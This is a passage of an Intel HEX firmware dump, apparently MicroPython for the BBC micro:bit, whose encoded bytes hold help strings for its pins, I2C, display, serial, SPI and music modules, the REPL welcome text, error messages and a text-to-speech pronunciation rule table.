6F6720686173206C6F7473206F660F\n:102BF0002076616C7565730A2830202D20363535B6\n:102C00003335292E204469676974616C20686173CB\n:102C1000206F6E6C79203020616E6420312E0A00A6\n:102C200049662070696E2069735F746F75636865AB\n:102C3000642829206F6E206D6963726F3A6269742F\n:102C40002C2072657475726E20547275652E204941\n:102C500066206E6F7468696E6720697320746F7583\n:102C60006368696E67207468652070696E2C0A72EB\n:102C7000657475726E2046616C73652E0A00436F31\n:102C80006D6D756E69636174652077697468206F16\n:102C90006E65206F72206D6F7265206E616D656468\n:102CA000206465766963657320636F6E6E65637417\n:102CB000656420746F206D6963726F3A6269742E67\n:102CC0002045616368206E616D65640A646576699C\n:102CD00063652068617320616E202761646472659A\n:102CE0007373272C20636F6D6D756E6963617465F6\n:102CF00073207573696E67204932432C20616E64BE\n:102D000020636F6E6E6563747320746F20746865E2\n:102D100020492F4F2070696E732E0A00557365206D\n:102D20007265616428616464726573732C206E2916\n:102D300020746F207265616420276E272062797489\n:102D400065732066726F6D207468652064657669AE\n:102D500063652077697468207468697320616464AE\n:102D6000726573732E0A00557365207772697465F6\n:102D700028616464726573732C206275666665727F\n:102D80002920746F20777269746520746F207468CD\n:102D900065202762756666657227206F66207468F5\n:102DA0006520646576696365206174207468697361\n:102DB000202761646472657373272E0A005573655A\n:102DC00020696E6974286672657175656E63792C09\n:102DD0002073636C2C207364612920746F207365E9\n:102DE00074207468652062757320667265717565FC\n:102DF0006E637920616E642070696E732E0A0043E1\n:102E0000726561746520616E6420757365206275FA\n:102E1000696C742D696E20494D4147455320746F8C\n:102E20002073686F77206F6E207468652064697303\n:102E3000706C61792E205573653A0A496D6167653A\n:102E4000280A20202730393039303A270A20202715\n:102E500039393939393A270A202027393939393966\n:102E60003A270A20202730393939303A270A2020DA\n:102E70002730303930303A27290A2E2E2E746F2011\n:102E80006D616B652061206E65772035783520682F\n:102E90006561727420696D6167652E204E756D6283\n:102EA00065727320676F2066726F6D203020286F07\n:102EB00066662920746F20392028627269676874F9\n:102EC000657374292E204E6F74650A7468652063DB\n:102ED0006F6C6F6E20273A2720746F207365742003\n:102EE00074686520656E64206F66206120726F775C\n:102EF0002E0A0052657475726E20746865207769B9\n:102F0000647468206F662074686520696D61676508\n:102F100020696E20706978656C732E0A00526574A2\n:102F200075726E2074686520686569676874206FC3\n:102F3000662074686520696D61676520696E207020\n:102F40006978656C732E0A00557365206765745F38\n:102F5000706978656C28782C20792920746F20722C\n:102F6000657475726E2074686520696D6167652788\n:102F700073206272696768746E6573732061742070\n:102F80004C454420706978656C2028782C79292E6E\n:102F90000A4272696768746E6573732063616E209C\n:102FA00062652066726F6D203020284C4544206990\n:102FB00073206F66662920746F203920286D617830\n:102FC000696D756D204C4544206272696768746E46\n:102FD000657373292E0A00557365207365745F70DD\n:102FE0006978656C28782C20792C20622920746FF0\n:102FF0002073657420746865204C4544207069789E\n:10300000656C2028782C792920696E2074686520E9\n:10301000696D61676520746F206272696768746E9C\n:103020006573730A27622720776869636820636184\n:103030006E20626520736574206265747765656EC5\n:10304000203020286F66662920746F20392028667A\n:10305000756C6C206272696768746E657373292E73\n:103060000A005573652073686966745F6C656674E1\n:1030700028692920746F206D616B65206120636F62\n:103080007079206F662074686520696D61676520BE\n:10309000627574206D6F76656420276927207069DA\n:1030A00078656C7320746F20746865206C65667435\n:1030B0002E0A005573652073686966745F726967CC\n:1030C000687428692920746F206D616B6520612008\n:1030D000636F7079206F662074686520696D616721\n:1030E0006520627574206D6F7665642027692720DE\n:1030F000706978656C7320746F0A746865207269F2\n:103100006768742E0A005573652073686966745F7A\n:10311000757028692920746F206D616B65206120AE\n:10312000636F7079206F662074686520696D6167D0\n:103130006520627574206D6F76656420276927208D\n:10314000706978656C732075702E0A005573652060\n:1031500073686966745F646F776E28692920746F7D\n:10316000206D616B65206120636F7079206F662030\n:1031700074686520696D61676520627574206D6F84\n:103180007665642027692720706978656C732064F0\n:103190006F776E2E0A0055736520636F707928294A\n:1031A00020746F206D616B652061206E65772065EE\n:1031B0007861637420636F7079206F66207468652E\n:1031C00020696D6167652E0A005573652063726F13\n:1031D000702878312C2079312C2078322C207932CB\n:1031E0002920746F206D616B652061206375742DDB\n:1031F0006F757420636F7079206F66207468652026\n:10320000696D61676520776865726520636F6F72AD\n:1032100064696E6174650A2878312C7931292069D6\n:10322000732074686520746F70206C656674206309\n:103230006F726E6572206F662074686520637574A6\n:103240002D6F7574206172656120616E6420636FFB\n:103250006F7264696E617465202878322C79322926\n:10326000206973207468650A626F74746F6D2072D0\n:103270006967687420636F726E65722E0A005573F9\n:103280006520696E76657274282920746F206D61DF\n:103290006B652061206E6567617469766520636F78\n:1032A0007079206F662074686520696D6167652E8E\n:1032B000205768657265206120706978656C207799\n:1032C000617320627269676874206F720A6F6E2082\n:1032D000696E20746865206F726967696E616C2C15\n:1032E0002069742069732064696D206F72206F6695\n:1032F0006620696E20746865206E65676174697602\n:103300006520636F70792E0A00436F6D6D756E696D\n:1033100063617465207769746820612073657269E0\n:10332000616C2064657669636520636F6E6E6563AA\n:1033300074656420746F206D6963726F3A6269749A\n:10334000277320492F4F2070696E732E0A00557322\n:103350006520696E6974282920746F207365742054\n:10336000757020636F6D6D756E69636174696F6EE2\n:103370002E205573652070696E73203020285458B4\n:103380002920616E642031202852582920776974E1\n:1033900068206120626175640A72617465206F66DD\n:1033A00020393630302E0A4F766572726964652096\n:1033B0007468652064656661756C747320666F72ED\n:1033C00020276261756472617465272C2027706103\n:1033D000726974792720616E64202770696E732783\n:1033E0002E0A004966207468657265206172652046\n:1033F000696E636F6D696E67206368617261637483\n:103400006572732077616974696E6720746F2062DA\n:103410006520726561642C20616E792829207769A6\n:103420006C6C2072657475726E20547275652E0A0C\n:103430004F74686572776973652C20726574757254\n:103440006E732046616C73652E0A00557365207299\n:10345000656164282920746F207265616420636847\n:1034600061726163746572732E0A557365207265AB\n:103470006164286E2920746F20726561642C20615C\n:1034800074206D6F73742C20276E27206279746509\n:1034900073206F6620646174612E0A005573652085\n:1034A000726561646C696E65282920746F2072658D\n:1034B00061642061206C696E6520746861742065A8\n:1034C0006E647320776974682061206E65776C691B\n:1034D0006E65206368617261637465722E0A0055BF\n:1034E00073652072656164696E746F286275662900\n:1034F00020746F207265616420627974657320693D\n:103500006E746F2074686520627566666572202728\n:10351000627566272E0A5573652072656164696E4F\n:10352000746F28627566662C206E2920746F207275\n:103530006561642C206174206D6F73742C20276E7C\n:1035400027206E756D626572206F662062797465E2\n:103550007320696E746F2027627566272E0A0055E6\n:103560007365207772697465286275662920746FA7\n:103570002077726974652074686520627974657358\n:1035800020696E20627566666572202762756627FF\n:1035900020746F2074686520636F6E6E6563746558\n:1035A00064206465766963652E0A00436F6D6D75EE\n:1035B0006E6963617465207573696E67206120733D\n:1035C000657269616C207065726970686572616CA2\n:1035D00020696E74657266616365202853504929BD\n:1035E0002064657669636520636F6E6E65637465DC\n:1035F0006420746F0A6D6963726F3A62697427732D\n:1036000020492F4F2070696E732E0A005573652074\n:10361000696E6974282920746F2073657420757031\n:1036200020636F6D6D756E69636174696F6E2E20B6\n:103630004F7665727269646520746865206465669A\n:1036400061756C747320666F72206261756472615B\n:1036500074652C206D6F64652C0A53434C4B2C20F1\n:103660004D4F534920616E64204D49534F2E2054D5\n:1036700068652064656661756C7420636F6E6E6545\n:103680006374696F6E73206172652070696E313387\n:1036900020666F722053434C4B2C2070696E31357D\n:1036A00020666F720A4D4F534920616E6420706925\n:1036B0006E313420666F72204D49534F2E0A0055EB\n:1036C0007365207772697465286275662920746F46\n:1036D00020777269746520627974657320696E2041\n:1036E00062756666657220276275662720746F2092\n:1036F00074686520636F6E6E6563746564206465CD\n:10370000766963652E0A00557365207265616428C9\n:103710006E2920746F207265616420276E272062F5\n:1037200079746573206F6620646174612E0A005598\n:1037300073652077726974655F72656164696E7420\n:103740006F286F75742C20696E2920746F20777232\n:103750006974652074686520276F75742720627509\n:103760006666657220746F2074686520636F6E6E84\n:103770006563746564206465766963650A616E6477\n:10378000207265616420616E7920726573706F6E5E\n:10379000736520696E746F207468652027696E27D1\n:1037A000206275666665722E20546865206C656EB1\n:1037B000677468206F662074686520627566666548\n:1037C00072732073686F756C640A62652074686533\n:1037D0002073616D652E205468652062756666658C\n:1037E00072732063616E2062652074686520736166\n:1037F0006D65206F626A6563742E0A00506C756790\n:1038000020696E206120737065616B657220776935\n:1038100074682063726F636F64696C6520636C69A0\n:10382000707320616E64206D616B65206D696372D9\n:103830006F3A62697420676F20626C656570206101\n:103840006E6420626C6F6F702E0A00557365207372\n:1038500065745F74656D706F286E756D6265722C2E\n:103860002062706D2920746F206D616B652061206E\n:1038700062656174206C617374206120276E756DC0\n:1038800062657227206F66207469636B73206C6FAA\n:103890006E6720616E640A706C6179656420617482\n:1038A000202762706D2720626561747320706572D5\n:1038B000206D696E7574652E0A00557365207069F8\n:1038C00074636828667265712C206C656E67746815\n:1038D0002920746F206D616B65206D6963726F3A8A\n:1038E00062697420706C61792061206E6F7465204C\n:1038F000617420276672657127206672657175652F\n:103900006E637920666F720A276C656E677468272C\n:10391000206D696C6C697365636F6E64732E2045EE\n:103920002E672E207069746368283434302C20315F\n:10393000303030292077696C6C20706C617920639D\n:103940006F6E636572742027412720666F72203185\n:10395000207365636F6E642E0A0055736520706C6A\n:103960006179286D757369632920746F206D616BAF\n:1039700065206D6963726F3A62697420706C617959\n:1039800020276D7573696327206C697374206F66D7\n:10399000206E6F7465732E20547279206F757420B9\n:1039A0007468650A6275696C7420696E206D757340\n:1039B000696320746F2073656520686F7720697470\n:1039C00020776F726B732E20452E672E206D7573D6\n:1039D00069632E706C6179286D757369632E50551B\n:1039E0004E43484C494E45292E0A005573652067C1\n:1039F00065745F74656D706F282920746F2072651F\n:103A00007475726E20746865206E756D62657220C3\n:103A10006F66207469636B7320696E206120626534\n:103A2000617420616E64206E756D626572206F66D0\n:103A30002062656174730A706572206D696E7574B9\n:103A4000652E0A0055736520746F2073746F70289B\n:103A50002920746865206D757369632074686174CA\n:103A600020697320706C6179696E672E0A0049665F\n:103A7000207468696E677320676F2077726F6E6756\n:103A80002C207265736574282920746865206D7513\n:103A900073696320746F206974732064656661754F\n:103AA0006C742073657474696E67732E0A005365B5\n:103AB000653A20687474703A2F2F786B63642E63B4\n:103AC0006F6D2F3335332F0A00546865205A656EA9\n:103AD000206F6620507974686F6E20646566696E29\n:103AE0006573207768617420697420697320746F2E\n:103AF00020626520507974686F6E69632E20497466\n:103B000020776F756C646E277420666974206F6E01\n:103B100020746869730A64657669636520736F2031\n:103B20007765277665207772697474656E206120E9\n:103B30005A656E206F66204D6963726F50797468A4\n:103B40006F6E20696E73746561642E0A005573652B\n:103B500020617574686F7273282920746F207265F4\n:103B60007665616C20746865206E616D6573206F89\n:103B700066207468652070656F706C652077686F6B\n:103B80002063726561746564207468697320736F63\n:103B90006674776172652E0A00416C6C20796F75CE\n:103BA000206E6565642E20557365206C6F76652EDA\n:103BB00062616461626F6F6D282920746F20726585\n:103BC0007065617420746865206566666563742E2F\n:103BD0000A0048656172206D7920736F756C2073DF\n:103BE0007065616B3A0A5468652076657279206960\n:103BF0006E7374616E7420746861742049207361FF\n:103C00007720796F752C206469640A4D7920686586\n:103C100061727420666C7920746F20796F757220E0\n:103C2000736572766963652E0A0057656C636F6D04\n:103C30006520746F204D6963726F507974686F6E80\n:103C4000206F6E20746865206D6963726F3A6269D7\n:103C500074210A0A54727920746865736520636F51\n:103C60006D6D616E64733A0A2020646973706C61D3\n:103C7000792E7363726F6C6C282748656C6C6F27A4\n:103C8000290A202072756E6E696E675F74696D65B2\n:103C900028290A2020736C6565702831303030295E\n:103CA0000A2020627574746F6E5F612E69735F7095\n:103CB00072657373656428290A5768617420646F9C\n:103CC00020746865736520636F6D6D616E64732029\n:103CD000646F3F2043616E20796F7520696D70724B\n:103CE0006F7665207468656D3F2048494E543A20D0\n:103CF0007573652074686520757020616E6420643A\n:103D00006F776E0A6172726F77206B6579732074BA\n:103D10006F2067657420796F757220636F6D6D61B8\n:103D20006E6420686973746F72792E2050726573A7\n:103D3000732074686520544142206B657920746F4C\n:103D4000206175746F2D636F6D706C6574650A7595\n:103D50006E66696E697368656420776F726473203C\n:103D600028736F2027646927206265636F6D657310\n:103D70002027646973706C617927206166746572AD\n:103D800020796F7520707265737320544142292E1B\n:103D90002054686573650A747269636B732073617C\n:103DA00076652061206C6F74206F6620747970696D\n:103DB0006E6720616E64206C6F6F6B20636F6F6C39\n:103DC000210A0A4578706C6F72653A0A54797065F9\n:103DD000202768656C7028736F6D657468696E67FD\n:103DE000292720746F2066696E64206F75742061C6\n:103DF000626F75742069742E205479706520276471\n:103E0000697228736F6D657468696E6729272074FD\n:103E10006F2073656520776861740A697420636137\n:103E20006E20646F2E205479706520276469722893\n:103E3000292720746F20736565207768617420736B\n:103E40007475666620697320617661696C61626C65\n:103E5000652E20466F7220676F6F646E65737320E6\n:103E600073616B652C0A646F6E27742074797065BA\n:103E70002027696D706F72742074686973272E0A29\n:103E80000A436F6E74726F6C20636F6D6D616E6448\n:103E9000733A0A20204354524C2D432020202020E6\n:103EA0002020202D2D2073746F7020612072756E7C\n:103EB0006E696E672070726F6772616D0A202043B1\n:103EC00054524C2D4420202020202020202D2D2015\n:103ED0006F6E206120626C616E6B206C696E652C68\n:103EE00020646F206120736F66742072657365743F\n:103EF000206F6620746865206D6963726F3A62692D\n:103F0000740A20204354524C2D452020202020208C\n:103F100020202D2D20656E7465722070617374658C\n:103F2000206D6F64652C207475726E696E67206FEA\n:103F30006666206175746F2D696E64656E740A0A19\n:103F4000466F722061206C697374206F6620617601\n:103F500061696C61626C65206D6F64756C65732C52\n:103F600020747970652068656C7028276D6F6475A2\n:103F70006C657327290A0A466F72206D6F7265207F\n:103F8000696E666F726D6174696F6E2061626F75C4\n:103F90007420507974686F6E2C2076697369743A56\n:103FA00020687474703A2F2F707974686F6E2E6F5A\n:103FB00072672F0A546F2066696E64206F757420D3\n:103FC00061626F7574204D6963726F507974686FA8\n:103FD0006E2C2076697369743A20687474703A2F75\n:103FE0002F6D6963726F707974686F6E2E6F726770\n:103FF0002F0A507974686F6E2F6D6963726F3A6221\n:10400000697420646F63756D656E746174696F6E39\n:1040100020697320686572653A2068747470733A19\n:104020002F2F6D6963726F6269742D6D6963726F92\n:10403000707974686F6E2E72656164746865646F00\n:1040400063732E696F2F0A00626164207479706552\n:10405000636F646500636F6D706C65782076616C6A\n:10406000756573206E6F7420737570706F727465F0\n:104070006400696E76616C69642073796E7461782E\n:1040800020666F72206E756D62657200696E7428AD\n:1040900029206172672032206D757374206265205B\n:1040A0003E3D203220616E64203C3D203336006965\n:1040B0006E76616C69642073796E74617820666FC6\n:1040C0007220696E74656765722077697468206212\n:1040D00061736520256400706F702066726F6D20BB\n:1040E000656D707479206C69737400416C6C6F63DA\n:1040F0006174696F6E20696E20696E746572727585\n:1041000070742068616E646C6572006E6F742061FB\n:104110006E20417564696F4672616D6500696E64F9\n:104120006578206F7574206F6620626F756E64739A\n:104130000063616E6E6F742064656C6574652065E4\n:104140006C656D656E7473206F6620417564696F70\n:104150004672616D650063616E6E6F742073657485\n:104160002072657475726E5F70696E20776974680D\n:104170006F75742070696E00F2F2FEFE506C7573FC\n:1041800020616E79206D6F64756C6573206F6E2091\n:104190007468652066696C6573797374656D0A006F\n:1041A0006F626A6563742000206973206F662074F3\n:1041B0007970652025730A00202D2D20006F626A1A\n:1041C000656374207769746820627566666572201D\n:1041D00070726F746F636F6C207265717569726550\n:1041E0006400257120696E6469636573206D757361\n:1041F0007420626520696E7465676572732C206E29\n:104200006F7420257300257120696E646578206FB6\n:104210007574206F662072616E6765006F626A65F3\n:1042200063742027257327206973206E6F742061C3\n:10423000207475706C65206F72206C6973740072E5\n:104240006571756573746564206C656E677468204C\n:10425000256420627574206F626A656374206861EA\n:1042600073206C656E6774682025640063616E2737\n:104270007420636F6E7665727420257320746F20CE\n:10428000666C6F61740063616E277420636F6E7675\n:1042900065727420257320746F20696E74006F62DC\n:1042A0006A656374206F66207479706520272573B2\n:1042B0002720686173206E6F206C656E282900547A\n:1042C000726163656261636B20286D6F7374207225\n:1042D0006563656E742063616C6C206C6173742916\n:1042E0003A0A00202046696C6520222571222C2084\n:1042F0006C696E65202564002C20696E2025710A8A\n:10430000003C25713E0027257327206F626A656394\n:104310007420646F6573206E6F7420737570706F96\n:104320007274206974656D2064656C6574696F6E64\n:104330000027257327206F626A65637420697320E4\n:104340006E6F742073756273637269707461626CEE\n:10435000650027257327206F626A65637420646F88\n:104360006573206E6F7420737570706F727420693E\n:1043700074656D2061737369676E6D656E74006C32\n:104380006F63616C207661726961626C6520726531\n:10439000666572656E636564206265666F7265202E\n:1043A00061737369676E6D656E7400627974652000\n:1043B000636F6465206E6F7420696D706C656D65E8\n:1043C0006E746564004E6F20616374697665206564\n:1043D0007863657074696F6E20746F2072657261A6\n:1043E0006973650000000402020402000002040474\n:1043F000040002020004040301000001030303009F\n:10440000010102030304020101030104030100038B\n:104410000000040101020000030200000402020483\n:10442000020000020404040002020004040301006C\n:10443000000103030300010102030304020101035D\n:104440000104030100030000040101020000030253\n:104450006E6F7420616E20696D61676500627269BC\n:104460006768746E657373206F7574206F66206261\n:104470006F756E64730045727220333636383300C0\n:10448000457272203336383934005DC12028412E00\n:10449000293D454834592EA0284129203D41C820B6\n:1044A0002841524529203D4141D220284152294FDF\n:1044B0003D4158D228415229233D454834D2205EFF\n:1044C00028415329233D455934D328412957413D9B\n:1044D00041D8284157293D414FB5203A28414E59EE\n:1044E000293D4548344E49D92841295E2B233D4575\n:1044F00059B5233A28414C4C59293D554C49D920AE\n:1045000028414C29233D55CC28414741494E293D5E\n:10451000415847454834CE233A28414729453D492B\n:1045200048CA2841295E253D45D92841295E2B3AB4\n:10453000233D41C5203A2841295E2B203D4559B4F1\n:104540002028415252293D4158D228415252293DFA\n:10455000414534D2205E28415229203D414135D287\n:10456000284152293D414135D228414952293D45F2\n:104570004834D2284149293D4559B4284159293D5B\n:104580004559B5284155293D414FB4233A28414C5E\n:1045900029203D55CC233A28414C5329203D554CE8\n:1045A000DA28414C4B293D414F34CB28414C295E00\n:1045B0003D414FCC203A2841424C45293D45593494\n:1045C0004255CC2841424C45293D41584255CC28C2\n:1045D0004129564F3D4559B428414E47292B3D4569\n:1045E00059344ECA284154415249293D4148544109\n:1045F00041345249D9284129544F4D3D41C52841A4\n:10460000295454493D41C52028415429203D414564\n:10461000D420284129543D41C82841293D41C55D48\n:10462000C220284229203D424959B4202842452928\n:104630005E233D4249C8284245494E47293D4249EB\n:10464000593449484ED82028424F544829203D42E9\n:104650004F573454C8202842555329233D424948D6\n:1046600034DA28425245414B293D4252455935CB17\n:10467000284255494C293D42494834CC2842293DDD\n:10468000C25DC320284329203D534959B420284303\n:1046900048295E3DCB5E45284348293DCB28434809\n:1046A000412952233D4B4548B5284348293D43C83D\n:1046B000205328434929233D534159B428434929CC\n:1046C000413D53C8284349294F3D53C828434929F0\n:1046D000454E3D53C82843495459293D53494854F0\n:1046E00049D92843292B3DD328434B293DCB284387\n:1046F0004F4D4D4F444F5245293D4B4141344D4163\n:1047000048444F48D228434F4D293D4B4148CD287E\n:1047100043554954293D4B4948D4284352454129E2\n:104720003D4B52495945D92843293DCB5DC42028EA\n:104730004429203D444959B4202844522E29203D83\n:10474000444141344B5445D2233A2844454429201E\n:104750003D444948C42E45284429203DC4233A5E9F\n:1047600045284429203DD420284445295E233D4442\n:1047700049C82028444F29203D4455D72028444F7C\n:104780004553293D444148DA28444F4E4529203DB0\n:1047900044414835CE28444F494E47293D4455575A\n:1047A0003449484ED82028444F57293D4441D72307\n:1047B00028445529413D4A55D723284455295E238D\n:1047C0003D4A41D82844293DC45DC52028452920BB\n:1047D0003D49594959B4233A28452920BD273A5E15\n:1047E00028452920BD203A284529203D49D923289C\n:1047F000454429203DC4233A2845294420BD284565\n:10480000562945523D454834D62845295E253D491F\n:1048100059B42845524929233D4959345249D92888\n:10482000455249293D4548345249C8233A28455202\n:1048300029233D45D2284552524F52293D454834FF\n:10484000524F48D2284552415345293D4948524587\n:104850005935D328455229233D4548D22845522968\n:104860003D45D220284556454E293D495956454893\n:10487000CE233A28452957BD40284557293D55D7CD\n:10488000284557293D5955D72845294F3D49D92312\n:104890003A2628455329203D4948DA233A28452914\n:1048A0005320BD233A28454C5929203D4C49D92352\n:1048B0003A28454D454E54293D4D45484ED428454E\n:1048C00046554C293D465548CC284545293D495932\n:1048D000B4284541524E293D455235CE2028454108\n:1048E00052295E3D4552B528454144293D4548C4BD\n:1048F000233A28454129203D495941D82845412995\n:1049000053553D4548B5284541293D4959B52845A8\n:10491000494748293D4559B4284549293D4959B495\n:104920002028455945293D4159B4284559293D4933\n:10493000D9284555293D595557B528455155414C1C\n:10494000293D4959344B5755CC2845293D45C85D2B\n:10495000C620284629203D454834C62846554C29BE\n:104960003D465548CC28465249454E44293D46527D\n:104970004548354EC428464154484552293D464194\n:104980004134444845D228462946BD2846293DC6DB\n:104990005DC720284729203D4A4959B42847495630\n:1049A000293D47494835D620284729495E3DC72833\n:1049B000474529543D474548B55355284747455332\n:1049C000293D474A454834D3284747293DC7204217\n:1049D000232847293DC72847292B3DCA2847524548\n:1049E0004154293D4752455934D428474F4E294513\n:1049F0003D47414F35CE2328474829BD2028474E03\n:104A0000293DCE2847293DC75DC820284829203D9B\n:104A100045593443C82028484156293D2F4841452F\n:104A200036D6202848455245293D2F484959D2209D\n:104A300028484F5552293D41573545D228484F57B0\n:104A4000293D2F4841D7284829233D2FC8284829E8\n:104A5000BD5DC92028494E293D4948CE2028492915\n:104A6000203D4159B4284929203D41D928494E29A2\n:104A7000443D415935CE53454D2849293D49D9201A\n:104A8000414E542849293D41D928494552293D499B\n:104A90005945D2233A522849454429203D4959C411\n:104AA0002849454429203D415935C42849454E29C6\n:104AB0003D49594548CE28494529543D4159344539\n:104AC000C8284927293D4159B5203A2849295E255A\n:104AD0003D4159B5203A28494529203D4159B4283E\n:104AE0004929253D49D9284945293D4959B4202816\n:104AF00049444541293D41594449593541C828490E\n:104B0000295E2B3A233D49C828495229233D415962\n:104B1000D228495A29253D4159DA28495329253DAA\n:104B20004159DA495E2849295E233D49C82B5E2850\n:104B300049295E2B3D41D9233A5E2849295E2B3D08\n:104B400049C82849295E2B3D41D9284952293D456C\n:104B5000D228494748293D4159B428494C44293D68\n:104B60004159354CC4202849474E293D494847CE34\n:104B70002849474E29203D415934CE2849474E29DE\n:104B80005E3D415934CE2849474E29253D4159348F\n:104B9000CE284943524F293D4159344B524FC828E2\n:104BA00049515545293D495934CB2849293D49C8E2\n:104BB0005DCA20284A29203D4A4559B4284A293D42\n:104BC000CA5DCB20284B29203D4B4559B420284BAA\n:104BD000294EBD284B293DCB5DCC20284C29203DBA\n:104BE000454834CC284C4F2943233D4C4FD74C28C3\n:104BF0004C29BD233A5E284C29253D55CC284C45EF\n:104C00004144293D4C4959C420284C415547482925\n:104C10003D4C414534C6284C293DCC5DCD20284D26\n:104C200029203D454834CD20284D522E29203D4D88\n:104C3000494834535445D220284D532E293D4D49DF\n:104C40004835DA20284D52532E29203D4D4948340D\n:104C5000534958DA284D4F56293D4D555734D628DB\n:104C60004D414348494E293D4D41485348495935E6\n:104C7000CE4D284D29BD284D293DCD5DCE20284E55\n:104C800029203D454834CE45284E47292B3D4ECA64\n:104C9000284E4729523D4E58C7284E4729233D4E9E\n:104CA00058C7284E474C29253D4E584755CC284ECD\n:104CB00047293D4ED8284E4B293D4E58CB20284EF3\n:104CC0004F5729203D4E4157B44E284E29BD284EFE\n:104CD0004F4E29453D4E414834CE284E293DCE5DAC\n:104CE000CF20284F29203D4F4834D7284F46292030\n:104CF0003D4148D620284F4829203D4F57B5284FE1\n:104D0000524F554748293D4552344FD7233A284FF3\n:104D10005229203D45D2233A284F525329203D4560\n:104D200052DA284F52293D414FD220284F4E452973\n:104D30003D574148CE23284F4E4529203D574148F5\n:104D4000CE284F57293D4FD720284F564552293D51\n:104D50004F57355645D25052284F29563D5557B4D6\n:104D6000284F56293D414834D6284F295E253D4FCE\n:104D700057B5284F295E454E3D4FD7284F295E49EC\n:104D8000233D4F57B5284F4C29443D4F5734CC282D\n:104D90004F55474854293D414F35D4284F55474832\n:104DA000293D414835C620284F55293D41D748283F\n:104DB0004F552953233D4157B4284F5553293D4161\n:104DC00058D3284F5552293D4F48D2284F554C446F\n:104DD000293D554835C4284F55295E4C3D4148B5BD\n:104DE000284F5550293D555735D0284F55293D411D\n:104DF000D7284F59293D4FD9284F494E47293D4F74\n:104E0000573449484ED8284F49293D4F59B5284F66\n:104E10004F52293D4F4835D2284F4F4B293D5548D9\n:104E200035CB46284F4F44293D555735C44C284F64\n:104E30004F44293D414835C44D284F4F44293D55E5\n:104E40005735C4284F4F44293D554835C446284F4F\n:104E50004F54293D554835D4284F4F293D5557B516\n:104E6000284F27293D4FC8284F29453D4FD7284F68\n:104E700029203D4FD7284F41293D4F57B420284F77\n:104E80004E4C59293D4F57344E4C49D920284F4E4E\n:104E90004345293D574148344ED3284F4E27542986\n:104EA0003D4F57344ED443284F294E3D41C1284FE2\n:104EB000294E473D41CF203A5E284F294E3D41C8FB\n:104EC00049284F4E293D55CE233A284F4E293D556E\n:104ED000CE235E284F4E293D55CE284F2953543DB1\n:104EE0004FD7284F46295E3D414F34C6284F54487E\n:104EF0004552293D414835444845D252284F294220\n:104F00003D5241C15E52284F293A233D4F57B528A3\n:104F10004F535329203D414F35D3233A5E284F4DFF\n:104F2000293D4148CD284F293D41C15DD020285021\n:104F300029203D504959B4285048293DC62850459C\n:104F40004F504C293D504959355055CC28504F575A\n:104F5000293D504157B42850555429203D505548BB\n:104F6000D428502950BD28502953BD2850294EBD62\n:104F70002850524F462E293D50524F4846454834FE\n:104F80005345D22850293DD05DD120285129203DBC\n:104F90004B595557B42851554152293D4B574F480D\n:104FA00035D2285155293D4BD72851293DCB5DD2CB\n:104FB00020285229203D414135D220285245295EE2\n:104FC000233D5249D928522952BD2852293DD25D4C\n:104FD000D320285329203D454834D3285348293D20\n:104FE00053C8232853494F4E293D5A4855CE28537C\n:104FF0004F4D45293D534148CD2328535552292330\n:105000003D5A4845D22853555229233D534845D24D\n:105010002328535529233D5A4855D7232853535500\n:1050200029233D534855D72328534544293D5AC485\n:1050300023285329233DDA2853414944293D534528\n:1050400048C45E2853494F4E293D534855CE2853F6\n:105050002953BD2E285329203DDA233A2E452853C3\n:1050600029203DDA233A5E23285329203DD35528B1\n:105070005329203DD3203A23285329203DDA2323E6\n:10508000285329203DDA2028534348293D53CB2873\n:105090005329432BBD2328534D293D5A55CD232851\n:1050A000534E29273D5A55CD2853544C45293D533D\n:1050B00055CC2853293DD35DD420285429203D5474\n:1050C0004959B420285448452920233D444849D90A\n:1050D000202854484529203D444841D828544F2988\n:1050E000203D5455D8202854484154293D44484136\n:1050F00045D420285448495329203D44484948D3A1\n:10510000202854484559293D444845D92028544829\n:10511000455245293D44484548D2285448455229DE\n:105120003D444845D2285448454952293D444845C4\n:1051300048D220285448414E29203D44484145CE7C\n:1051400020285448454D29203D44484145CE285407\n:105150004845534529203D44484959DA20285448B8\n:10516000454E293D44484548CE285448524F55475E\n:1051700048293D5448525557B42854484F5345295F\n:105180003D44484F48DA2854484F55474829203D68\n:1051900044484FD728544F444159293D5455584409\n:1051A00045D928544F4D4F2952524F573D54554DD4\n:1051B0004141B528544F2954414C3D544F57B520D7\n:1051C0002854485553293D4448414834D32854482D\n:1051D000293D54C8233A28544544293D544958C4CC\n:1051E0005328544929234E3D43C8285449294F3D4B\n:1051F00053C828544929413D53C8285449454E298C\n:105200003D534855CE2854555229233D434845D255\n:1052100028545529413D434855D7202854574F29F4\n:105220003D5455D726285429454E20BD2854293DA4\n:10523000D45DD520285529203D595557B4202855EF\n:105240004E29493D595557CE2028554E293D4148B4\n:10525000CE202855504F4E293D415850414FCE4009\n:1052600028555229233D554834D228555229233DEB\n:1052700059554834D2285552293D45D22855295EE2\n:10528000203D41C82855295E5E3D4148B528555905\n:10529000293D4159B5204728552923BD472855297F\n:1052A00025BD47285529233DD7234E2855293D594B\n:1052B00055D7402855293D55D72855293D5955D70B\n:1052C0005DD620285629203D564959B428564945CF\n:1052D00057293D56595557B52856293DD65DD720F3\n:1052E000285729203D4441483442554C5955D72030\n:1052F0002857455245293D5745D2285741295348FB\n:105300003D5741C12857412953543D5745D9285746\n:105310004129533D5741C828574129543D5741C160\n:10532000285748455245293D57484548D2285748AF\n:105330004154293D57484148D42857484F4C293DAE\n:105340002F484F57CC2857484F293D2F4855D7282D\n:105350005748293D57C82857415229233D574548AA\n:10536000D228574152293D57414FD228574F5229F1\n:105370005E3D5745D2285752293DD228574F4D29D7\n:10538000413D575548CD28574F4D29453D57494830\n:10539000CD2857454129523D5745C82857414E54BD\n:1053A000293D574141354ED4414E53285745522946\n:1053B0003D45D22857293DD75DD820285829203D82\n:1053C0004548344BD2202858293DDA2858293D4BEE\n:1053D000D35DD920285929203D574159B428594F28\n:1053E000554E47293D5941484ED82028594F5552CE\n:1053F000293D594F48D22028594F55293D5955D755\n:105400002028594553293D594548D3202859293D3D\n:10541000D9462859293D41D9505328594348293D57\n:105420004159CB233A5E2859293D49D9233A5E2870\n:105430005929493D49D9203A285929203D41D920A7\n:105440003A285929233D41D9203A2859295E2B3A37\n:10545000233D49C8203A2859295E233D41D928597E\n:10546000293D49C85DDA20285A29203D5A4959B4B6\n:10547000285A293DDAEA284129BD2821293DAE28AC\n:105480002229203D2D4148354E4B574F5754AD28CA\n:1054900022293D4B574F573454AD2823293D204EE8\n:1054A0004148344D4245D22824293D2044414134CD\n:1054B0004C45D22825293D205045525345